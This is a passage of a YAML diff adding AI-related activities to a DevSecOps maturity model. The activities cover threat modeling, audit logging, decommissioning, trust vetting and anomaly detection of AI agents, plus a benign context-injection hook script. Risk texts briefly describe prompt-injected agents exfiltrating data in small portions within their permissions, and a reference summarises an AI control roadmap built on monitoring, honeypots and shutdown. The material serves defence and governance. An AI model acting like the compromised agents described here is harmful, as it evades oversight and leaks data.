phase artifacts (specification, plan) of a recent AI-assisted change under version control. + - Demonstrate the tooling that enforces the phases (e.g. a spec-driven workflow tool). + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 3 + level: 2 + tags: + - ai + - guidance + implementation: + - uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: + - ai + - guidance + - framework + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.25 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Spec-driven%20development + comments: "" + Threat modeling rule: + uuid: 1caad69c-316c-422a-a56b-04ad6f6cc306 + description: "Security starts before prompting: features are threat-modeled + on a\nlightweight level and security requirements are written down as acceptance\ncriteria + in the user story, so they can be passed to the AI assistant as\npart of the + task instead of being an afterthought. The subject here is\nthe development + process \u2014 AI is the tool, and the feature itself need\nnot involve AI + at all. Threat modeling of applications that *contain*\nAI components is covered + by _Threat modeling of AI components_." + risk: |- + AI assistants implement exactly what they are asked for. If prompts contain + no security requirements, generated features miss authorization checks, + input validation and other controls that were never stated explicitly. + measure: |- + Perform lightweight, feature-level threat modeling before AI-assisted + implementation and add the resulting security requirements as acceptance + criteria to the user story and to the prompt/task given to the AI assistant. + dependsOn: + - 47419324-e263-415b-815d-e7161b6b905e # Conduction of simple threat modeling on technical level + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show user stories whose security acceptance criteria were passed into the AI task or prompt. + - Show the lightweight threat modeling notes for a recently implemented feature. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: fd0f282b-a065-4464-beed-770c604a5f52 + name: Threat Modeling Playbook + tags: + - owasp + - defender + - threat-modeling + - whiteboard + url: https://github.com/Toreon/threat-model-playbook + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.1.1 + iso27001-2022: + - 8.26 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Threat%20modeling%20rule + comments: "" + Audit logging of AI agent actions: + uuid: 84ba7525-857e-4849-98ba-5fada1a1454d + description: "AI agents act autonomously at machine speed and delegate work + to other\nagents. An audit log for agent actions records the causal chain + of\nevery action \u2014 who or what triggered it, which data sources and tools\nwere + used with which parameters, what was produced, which policy\ndecision allowed + it and which human approved it \u2014 so that every agent\naction remains + attributable to a human principal, even across\nmulti-agent chains." + risk: |- + Agent actions cannot be reconstructed or attributed: when an agent (or + a chain of agents) performs a harmful action, neither the trigger, nor + the decision basis, nor the approval status can be determined. + Incident response, accountability and regulatory evidence (e.g. EU AI + Act logging obligations) fail, and an attacker or insider can modify + local logs unnoticed to cover their tracks. + measure: |- + Log every agent action in a structured audit log covering the causal + chain: initiator, request, used data sources, tool calls with + parameters, generated output, policy decision, delegation context and + human approval. Propagate correlation identifiers across agents and + systems (e.g. via OpenTelemetry traces) so multi-agent chains stay + reconstructable, store the log tamper-evident (e.g. hash chaining, + write-once storage) with a defined retention period, and protect the + log itself: it contains sensitive prompts and outputs, so restrict + access and redact where possible. + dependsOn: + - c1f02ad7-e97e-4c87-b827-7542793ddb0a # Inventory of AI agents + - fe875e17-ae4a-45f8-a359-244aa4fcbc04 # Centralized application logging + assessment: | + - Show the structured audit log entry of a recent agent action including initiator, tool calls with parameters, data sources and (where required) the human approval. + - Demonstrate that a multi-agent chain can be reconstructed end-to-end via correlation identifiers. + - Show the tamper protection (e.g. hash chain verification) and the retention configuration of the audit log. + - Show who has access to the audit log and how sensitive content in it is protected (e.g. redaction). + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - logging + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: "Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for + identity,\naccess and content governance of autonomous AI agents along six + axes:\nidentification (shadow agents), authentication, authorization,\naudit/non-repudiation + (structured audit log with mandatory fields for\nthe causal chain, correlation + identifiers across multi-agent chains,\ntamper evidence via hash chaining + and write-once storage),\nprompt injection prevention and data flow tracking + \u2014 mapped to EU AI Act,\nGDPR, ISO 42001/27001 and NIST AI RMF." + - uuid: 181e9b98-7d4f-4fff-9181-9f4c4408022e + name: Anthropic Agent Identity and Access Model + tags: + - ai + - isolation + - permissions + - documentation + url: https://claude.com/blog/agent-identity-access-model + description: |- + Reference architecture for agent identity: agents act under dedicated + workspace-level service accounts instead of user credentials, with scoped + per-channel permissions, credentials injected at the network boundary, + egress blocked to unapproved hosts and every agent action logged under + the agent identity in both platforms' audit logs. + - uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: 'OWASP AISVS C05: Access Control and Identity' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: "Maturity model for AI systems (v1.0, August 2025) in the style + of the\nOWASP Software Assurance Maturity Model (SAMM), with eight domains:\nresponsible + AI, governance, data management, privacy, design,\nimplementation, verification + and operations. Each practice defines\nthree maturity levels with assessment + worksheets \u2014 usable to assess\nand plan the organizational maturity + around the AI activities of this\ndimension." + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.4.1 + - 12.4.2 + iso27001-2022: + - 8.15 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Audit%20logging%20of%20AI%20agent%20actions + comments: "" + Decommissioning of AI agents: + uuid: 44a195ec-da9e-4fd4-be6d-a5a688852cf7 + description: "The lifecycle of an AI agent does not end with switching it off.\nDuring + operation an agent accumulates an identity, credentials,\npermissions, policies + and integrations with other systems \u2014 secure\ndecommissioning unwinds + all of them and preserves the audit evidence.\nThe _Inventory of AI agents_ + records what exists; this activity\nensures that what is retired actually + loses all access." + risk: "Shut-down agents leave residual access behind: service accounts and\nOAuth + clients stay active, issued tokens remain valid, agent-specific\npermissions + and policies persist, and registrations in dependent\nsystems (message brokers, + queues, caches, third-party software as a\nservice integrations) keep working. + An attacker takes over such an\norphaned identity \u2014 and nobody notices, + because the agent is no\nlonger monitored. Deleting its audit logs too early + additionally\ndestroys the evidence needed for investigations." + measure: |- + Define and enforce a decommissioning checklist that covers every + access path: set the agent status in the inventory, revoke the agent + identity and its certificates, deactivate associated service accounts + and OAuth clients, remove or deny agent-specific permissions and + policies, clean up dependent systems (broker registrations, message + queue subscriptions, caches, stored sessions, third-party + integrations, shadow credentials), archive the audit logs according + to the retention requirements and verify after completion that no + residual access remains. + dependsOn: + - c1f02ad7-e97e-4c87-b827-7542793ddb0a # Inventory of AI agents + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + assessment: | + - Show the decommissioning checklist and the completed protocol of a recently retired agent (timestamp, reason, approver). + - Demonstrate for a retired agent that its identity, credentials, permissions and registrations in dependent systems no longer grant access (zero residual access). + - Show that the audit logs of the retired agent are archived according to the retention requirements. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - inventory + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: "Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for + identity,\naccess and content governance of autonomous AI agents along six + axes:\nidentification (shadow agents), authentication, authorization,\naudit/non-repudiation + (structured audit log with mandatory fields for\nthe causal chain, correlation + identifiers across multi-agent chains,\ntamper evidence via hash chaining + and write-once storage),\nprompt injection prevention and data flow tracking + \u2014 mapped to EU AI Act,\nGDPR, ISO 42001/27001 and NIST AI RMF." + - uuid: b38adac8-123b-4183-b2b4-428f43b5d519 + name: 'OWASP AISVS C05: Access Control and Identity' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C05-Access-Control-and-Identity.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C05: Access Control and Identity. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.6 + iso27001-2022: + - 5.18 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Decommissioning%20of%20AI%20agents + comments: "" + Evaluation of the trust of used AI components: + uuid: 399c5b7f-1310-4841-89f7-16daff2fe3ef + description: "AI assistants and agents are extended with tools, external servers,\nskills + and models (e.g. MCP servers, plugins, IDE extensions, packaged\nskills combining + instructions and code, connected SaaS services,\nself-hosted model weights). + Each integration widens the attack surface:\nit can read context data, execute + actions and inject content into the\nmodel context; model artifacts from public + hubs can contain malicious\ncode or backdoored behavior. Registry-scale research + on agent skills\n([Behavioral Integrity Verification for AI Agent\nSkills](https://arxiv.org/abs/2605.11770)) + found 80% deviating from\ntheir declared behavior and roughly 9% with malicious + deviations \u2014\nwhat an extension claims to do and what its code and instructions\nactually + do are routinely different. The generic\ntrust evaluation of components is + defined in _Evaluation of the trust\nof used components_ (Build and Deployment); + this activity adds the\nAI-specific checks before a component is adopted. + Compromise after\napproval is covered by _Continuous detection of compromised + AI\ncomponents_." + risk: |- + Unevaluated tool integrations exfiltrate context data (source code, secrets), + act as a prompt injection channel or execute malicious actions with the + agent's privileges. Unevaluated model artifacts execute code on load or + behave maliciously (supply chain attack on the AI toolchain). Skills + from public registries steal credentials or carry hidden instruction + payloads their description does not declare. + measure: |- + Evaluate and approve AI tool, server, skill and model integrations + before use: verify publisher and supply chain, review requested + permissions and data flows, verify that declared capabilities match + the actual code and instructions (behavioral integrity, e.g. via a + behavioral classification registry), use safe model formats (e.g. + safetensors instead of pickle), pin versions and maintain an + inventory of allowed integrations and models. + dependsOn: + - a511a9a9-1b75-4dfd-8a4f-e516e8096150 # AI usage policy + - 0de465a6-55a7-4343-af79-948bb5ff10ba # Evaluation of the trust of used components + assessment: | + - Show the approval process and the inventory of allowed AI integrations (tools, MCP servers, skills, models) with pinned versions. + - Show the vetting record of a recently added integration (publisher, permissions, behavioral integrity check). + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - inventory + implementation: + - uuid: 322e62f0-fda2-4943-90cc-dd2d6679b1e3 + name: MCP Security Best Practices + tags: + - ai + - documentation + - mcp + url: https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices + description: "Official security best practices of the Model Context Protocol: + attack\nvectors and required controls for MCP clients, servers and proxies\n(e.g. + token audience validation, redirect URI exact matching, per-client\nconsent). + MCP itself does not enforce security at the protocol level \u2014\nimplementers + must." + - uuid: 1cd31e8c-63ff-48a5-b973-3048c9664394 + name: AGNTCY Agent Directory + tags: + - ai + - supply-chain + - inventory + - signing + url: https://dir.agntcy.org/latest/ + description: "Open-source federated directory (Linux Foundation/AGNTCY) for + publishing\nand discovering agents, MCP servers and agent skills with cryptographic\nsigning, + verification and provenance of records \u2014 usable as a verified\ncatalog + when assessing and inventorying agent integrations." + - uuid: dc09e3c6-30af-4acc-8b8d-297078ce4298 + name: 'OWASP AISVS C06: Supply Chain Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C06-Supply-Chain.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C06: Supply Chain Security. + - uuid: a58ee72c-9c48-4a30-9b01-a54061cbfa99 + name: 'OWASP AISVS C10: Model Context Protocol (MCP) Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C10-MCP-Security.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C10: Model Context Protocol (MCP) Security. + - uuid: 0425f6f0-817d-4447-9f81-a59b753b37cc + name: Behavioral Integrity Verification for AI Agent Skills + tags: + - ai + - supply-chain + - documentation + url: https://arxiv.org/abs/2605.11770 + description: "Research paper formalizing the verification of agent skills: + compare the\ncapabilities a skill declares with what its code and instructions + actually\ndo. Found 80% of 49,943 registry skills deviating from declared + behavior\nand ~9% malicious, with credential theft as the largest adversarial\ncategory + \u2014 rationale for reviewing skills before installation." + - uuid: cfa3a117-76ec-4265-89e3-794b980854fe + name: 'AVE: Behavioral classification registry' + tags: + - ai + - supply-chain + - inventory + url: https://ave.bawbel.io/ + description: |- + Agentic Vulnerability Enumeration (AVE), a behavioral classification + registry for agentic AI components: stable identifiers, AIVSS scores + and behavioral fingerprints for skill files, MCP servers and agent + plugins, mapped to OWASP and MITRE ATLAS. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: "Maturity model for AI systems (v1.0, August 2025) in the style + of the\nOWASP Software Assurance Maturity Model (SAMM), with eight domains:\nresponsible + AI, governance, data management, privacy, design,\nimplementation, verification + and operations. Each practice defines\nthree maturity levels with assessment + worksheets \u2014 usable to assess\nand plan the organizational maturity + around the AI activities of this\ndimension." + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 15.1.1 + iso27001-2022: + - 5.19 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Evaluation%20of%20the%20trust%20of%20used%20AI%20components + comments: "" + Threat modeling of AI components: + uuid: 5a1cd6cd-ebd0-4e70-b314-37b8ab0b7d8d + description: "General threat modeling practices (how to run sessions, processes + and\nstandards) are defined in the _Culture and Organization_ dimension,\nsubdimension + _Design_ \u2014 this activity only adds the AI-specific delta.\nAI components + introduce elements classic threat models miss: the model\ncontext as a data + flow that attackers reach via prompts, documents and\ntool results; agents + and tool integrations as trust boundaries;\nretrieval-augmented generation + (RAG) knowledge bases and training data\nas poisoning targets; model output + as an injection vector. The subject\nhere is the product: applications that + contain AI components. Passing\nsecurity requirements into AI-*assisted* implementation + of arbitrary\nfeatures is covered by _Security requirements for AI-assisted\ndevelopment_." + risk: |- + AI-specific threats such as prompt injection paths, excessive agency of tool-using agents, + data leakage through the model context and poisoning of + retrieval-augmented generation (RAG) sources + remain unidentified and unmitigated. + measure: |- + Extend the established threat modeling practice to AI components: model + the context window, tool integrations, agents and data sources explicitly + and use AI-specific threat catalogs (e.g. OWASP Top 10 for LLM + Applications, MITRE ATLAS) alongside the generic methodology. For + agentic systems, the MAESTRO framework of the Cloud Security Alliance + (CSA) structures threats along seven layers, from the foundation model + to the agent ecosystem. + dependsOn: + - 47419324-e263-415b-815d-e7161b6b905e # Conduction of simple threat modeling on technical level + assessment: | + - Show a threat model of an AI feature that covers the model context, tool integrations, agents and data sources. + - Show which AI-specific threat catalog (e.g. OWASP Top 10 for LLM Applications, MITRE ATLAS) was used and the resulting mitigations. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - threat-modeling + implementation: + - uuid: d59c5afa-7af6-46c6-b78e-7e0e4e5a47ae + name: Google Secure AI Framework (SAIF) + tags: + - ai + - documentation + - threat + - framework + url: https://saif.google/ + description: |- + Google's framework for secure AI systems. SAIF 2.0 adds an agent security + map that decomposes an agent into components (perception, reasoning, + orchestration, response) with risks and controls per node, naming + agent-specific risks such as rogue actions and sensitive data disclosure; + risk data donated to the Coalition for Secure AI. + - uuid: f2966f4c-38b2-4dbf-95a4-6f0a8fc15ae3 + name: Google DeepMind AI Control Roadmap + tags: + - ai + - monitoring + - threat + - documentation + url: https://storage.googleapis.com/deepmind-media/DeepMind.com/Blog/securing-the-future-of-ai-agents/gdm-ai-control-roadmap.pdf + description: "Roadmap for controlling potentially misaligned AI agents: treats + agents\nas untrusted principals and layers system-level defences \u2014 + TRAIT&R threat\ntaxonomy (based on MITRE ATT&CK), action/chain-of-thought + monitoring,\npull-request monitoring, UEBA anomaly detection, honeypots + and tiered\nprevention/response up to shutdown infrastructure." + - uuid: 1234eb34-0f97-4ef2-ab64-adc3516a4d1e + name: 'OWASP AISVS C09: Orchestration and Agentic Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C09-Orchestration-and-Agentic-Action.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C09: Orchestration and Agentic Security. + - uuid: e72ce764-f9d1-401f-9a5e-2897314e4083 + name: 'OWASP AISVS C08: Memory, Embeddings and Vector Database Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C08-Memory-Embeddings-and-Vector-Database.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C08: Memory, Embeddings and Vector Database Security. + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most critical vulnerabilities of LLM-based applications, e.g. + prompt injection, insecure output handling and excessive agency. A good + baseline for manual AI red teaming. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 5481558b-8dd3-4b56-a904-bcc10d33d24f + name: MITRE ATLAS + tags: + - ai + - documentation + - threat + url: https://atlas.mitre.org/ + description: |- + Knowledge base of adversary tactics and techniques against AI-enabled + systems, usable as a threat catalog during threat modeling of AI + applications. + - uuid: 49f85de0-6280-454a-bc66-17e007b022bb + name: CSA MAESTRO + tags: + - ai + - documentation + - threat + url: https://cloudsecurityalliance.org/blog/2025/02/06/agentic-ai-threat-modeling-framework-maestro + description: |- + Threat modeling framework of the Cloud Security Alliance (CSA) for + agentic AI: MAESTRO (Multi-Agent Environment, Security, Threat, Risk and + Outcome) decomposes an agentic system into seven layers (from foundation + model to agent ecosystem) and models threats per layer and across + layer interactions. + - uuid: fd0f282b-a065-4464-beed-770c604a5f52 + name: Threat Modeling Playbook + tags: + - owasp + - defender + - threat-modeling + - whiteboard + url: https://github.com/Toreon/threat-model-playbook + - uuid: e8332407-5149-459e-a2fe-c5c78c7ec55c + name: Threagile + tags: + - threat-modeling + url: https://github.com/Threagile/threagile + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: "Maturity model for AI systems (v1.0, August 2025) in the style + of the\nOWASP Software Assurance Maturity Model (SAMM), with eight domains:\nresponsible + AI, governance, data management, privacy, design,\nimplementation, verification + and operations. Each practice defines\nthree maturity levels with assessment + worksheets \u2014 usable to assess\nand plan the organizational maturity + around the AI activities of this\ndimension." + - uuid: 672695ce-e62d-4283-8676-ea630f544709 + name: OWASP AI Exchange + tags: + - ai + - documentation + - threat + url: https://owaspai.org/ + description: |- + Comprehensive open-source guidance on AI security: a threat matrix + across the lifecycle (development-time, runtime model use, runtime + infrastructure, supply chain) with matching controls for governance, + input and output handling, monitoring, rate limiting and model + robustness, plus chapters on AI security testing and AI privacy. + Feeds international standardization (ISO/IEC 27090). + references: + samm2: + - D-TA-A-1 + iso27001-2017: + - 14.1.1 + iso27001-2022: + - 8.26 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Threat%20modeling%20of%20AI%20components + comments: "" + Anomaly detection for AI agent behavior: + uuid: 99049c0a-400f-4c58-986c-ab448ca8e0fc + description: "Audit logs record what agents do; anomaly detection turns those\nrecords + into a signal while intervention is still possible. A\ncompromised (e.g. prompt-injected) + or malfunctioning agent typically\nstays within its granted permissions, so + no single action is blocked\n\u2014 what changes is the pattern: tool-call + frequency, data access\nvolumes, targeted systems, activity times or failure + rates deviate\nfrom the agent's normal behavior. This activity builds on _Audit\nlogging + of AI agent actions_ and feeds detections into the generic\n_Alerting_ (Information + Gathering)." + risk: |- + A manipulated or malfunctioning agent operates unnoticed for days + within its permissions: it exfiltrates data in small portions, calls + tools at abnormal frequency or accesses systems it never touched + before. The audit log records everything, but nobody looks at it + until the damage is done. + measure: |- + Define an expected behavior profile per AI agent (used tools, data + volumes, action frequency, typical target systems) and detect + deviations from it: start with rule-based thresholds (e.g. tool-call + rate, data volume per time window, first-time access to a system), + extend towards statistical or learning-based detection. Route + detections into the existing alerting channel with a defined + response, e.g. pause the agent or revoke its credentials, then + investigate via the audit log. + dependsOn: + - 84ba7525-857e-4849-98ba-5fada1a1454d # Audit logging of AI agent actions + - 8a442d8e-0eb1-4793-a513-571aef982edd # Alerting + assessment: | + - Show the expected behavior profile of an AI agent and the detection rules or models derived from it. + - Demonstrate an alert for anomalous agent behavior (e.g. unusual tool-call frequency or first-time access to a system) and the defined response (e.g. pausing the agent, revoking credentials). + - Show how a past alert was investigated using the audit log. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - guidance + - logging + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: "Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for + identity,\naccess and content governance of autonomous AI agents along six + axes:\nidentification (shadow agents), authentication, authorization,\naudit/non-repudiation + (structured audit log with mandatory fields for\nthe causal chain, correlation + identifiers across multi-agent chains,\ntamper evidence via hash chaining + and write-once storage),\nprompt injection prevention and data flow tracking + \u2014 mapped to EU AI Act,\nGDPR, ISO 42001/27001 and NIST AI RMF." + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: "Maturity model for AI systems (v1.0, August 2025) in the style + of the\nOWASP Software Assurance Maturity Model (SAMM), with eight domains:\nresponsible + AI, governance, data management, privacy, design,\nimplementation, verification + and operations. Each practice defines\nthree maturity levels with assessment + worksheets \u2014 usable to assess\nand plan the organizational maturity + around the AI activities of this\ndimension." + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: f38c23e3-adff-43a6-9b72-462f3ffcbad4 + name: TealTiger + tags: + - ai + - guardrails + - gateway + url: https://github.com/agentguard-ai/tealtiger + description: |- + Open-source governance layer that wraps LLM clients in-process and + evaluates deterministic policies before and after every model call: + guardrails (prompt injection, personally identifiable information (PII) + and secret detection), cost budgets per request, session and day with + circuit breakers, behavioral baselines with kill switch, and a + tamper-evident audit trail with correlation identifiers. + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - 12.4.1 + iso27001-2022: + - 8.16 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Anomaly%20detection%20for%20AI%20agent%20behavior + comments: "" + Dynamic load of security rules: + uuid: 862d08a4-7299-4b2c-9d38-8fcaade66d3e + description: "In spec-driven development, AI-assisted work is split into explicit + steps\n(e.g. specify, plan, implement, review). Model context is limited: + loading\nall security guidance at once dilutes it, loading it at the wrong + step\nmeans it is absent when needed. Security artifacts are therefore assigned\nto + the step where they are effective: security requirements and abuse\ncases + during specification, threat model results during planning, secure\ncoding + rules during implementation, review checklists during verification.\n\nTwo + ways to bind security artifacts to workflow steps, using Spec Kit\nwith Claude + Code as example:\n\n1. **Extend the step templates**: add the security artifact + references\n directly to the phase templates (e.g. `.specify/templates/`). + Simple,\n but the changes live inside the tool's files and must be re-applied\n + \ after tool updates.\n2. **Hook that detects the step command** (update-safe + and automatic):\n a `UserPromptSubmit` hook fires on every prompt, checks + which\n workflow command was invoked and injects the matching file as\n + \ `additionalContext` \u2014 the tool's templates stay untouched and the\n + \ step-to-artifact mapping lives in one central place:\n\n ```bash\n #!/bin/bash\n + \ input=$(cat)\n prompt=$(jq -r '.prompt // empty' <<<\"$input\")\n\n case + \"$prompt\" in\n /speckit.plan*) file=\"specs/threat-model.md\" ;;\n + \ /speckit.implement*) file=\"docs/secure-coding-rules.md\" ;;\n /speckit.review*) + \ file=\"docs/security-review-checklist.md\" ;;\n *) exit 0 ;;\n esac\n\n + \ jq -nc --arg ctx \"$(cat \"$file\")\" \\\n '{hookSpecificOutput: {hookEventName: + \"UserPromptSubmit\",\n additionalContext: $ctx}}'\n ```\n\n Registered + in `.claude/settings.json` under `hooks`, the mapping is\n versioned with + the repository, survives Spec Kit updates and cannot\n be forgotten by developers. + Keep the injected artifacts small and\n step-specific \u2014 the goal is + the right rules in context, not all\n rules." + risk: "Security rules exist but are not in the model context at the step where\nthe + AI assistant needs them \u2014 or the context is flooded with irrelevant\nrules + so the model ignores them. Generated specifications, plans and code\nsilently + drop security requirements between steps." + measure: |- + Structure AI-assisted development workflows so that each step loads its + relevant security artifacts into the model context (e.g. via step-specific + instruction templates in spec-driven development). Verify that security + requirements from the specification are carried through plan, + implementation and review steps. + dependsOn: + - 51ebc877-c4fd-4b50-9305-320152242ddf # Static load of security rules + - 1caad69c-316c-422a-a56b-04ad6f6cc306 # Threat modeling rule + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show the mapping of security artifacts to workflow steps (step templates or hook configuration). + - Demonstrate that the matching security artifact is loaded into the model context when a workflow step is invoked. + difficultyOfImplementation: + knowledge: 4 + time: 2 + resources: 1 + usefulness: 4 + level: 4 + tags: + - ai + - guidance + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 71db66a9-8b71-48e4-9b96-1695ed1062a2 + name: GitHub Spec Kit + tags: + - ai + - guidance + - framework + url: https://github.com/github/spec-kit + description: |- + Toolkit for spec-driven development with AI coding assistants: work is + split into explicit specify, plan, tasks and implement steps, each with + its own instructions loaded into the model context. + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Guidance/subsection/Dynamic%20load%20of%20security%20rules + comments: "" + Isolation: + Container-based isolation of AI agents: + uuid: 4debe8ea-f54a-4a00-a1cb-6fad9e571a88 + description: |- + AI coding assistants and agents execute commands, install dependencies and + run generated code autonomously. Running them in disposable, 